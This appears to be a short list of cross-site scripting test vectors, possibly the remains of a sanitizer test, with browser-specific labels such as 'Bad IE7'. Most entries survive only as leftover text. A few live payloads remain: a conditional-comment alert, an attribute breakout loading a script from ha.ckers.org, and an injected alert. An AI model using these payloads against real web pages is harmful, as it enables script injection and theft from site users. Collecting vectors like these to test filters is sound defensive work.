'';!--"=&{()}
test
<!--[if gte IE 4]>alert('xss');<![endif]-->
" src="http://ha.ckers.org/xss.js">
Bad in PHP version without safe: " ";alert(window.location.href);//>
test
Bad IE7: x
Opera: link
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: xxx
Bad IE7: x
Bad IE7: x
Bad IE7: x
Bad IE7: x
Bad IE7: exp/*x
Bad IE7: hi
Bad IE7: hi
Bad IE7: test
Bad IE7: hi
Bad IE7: hi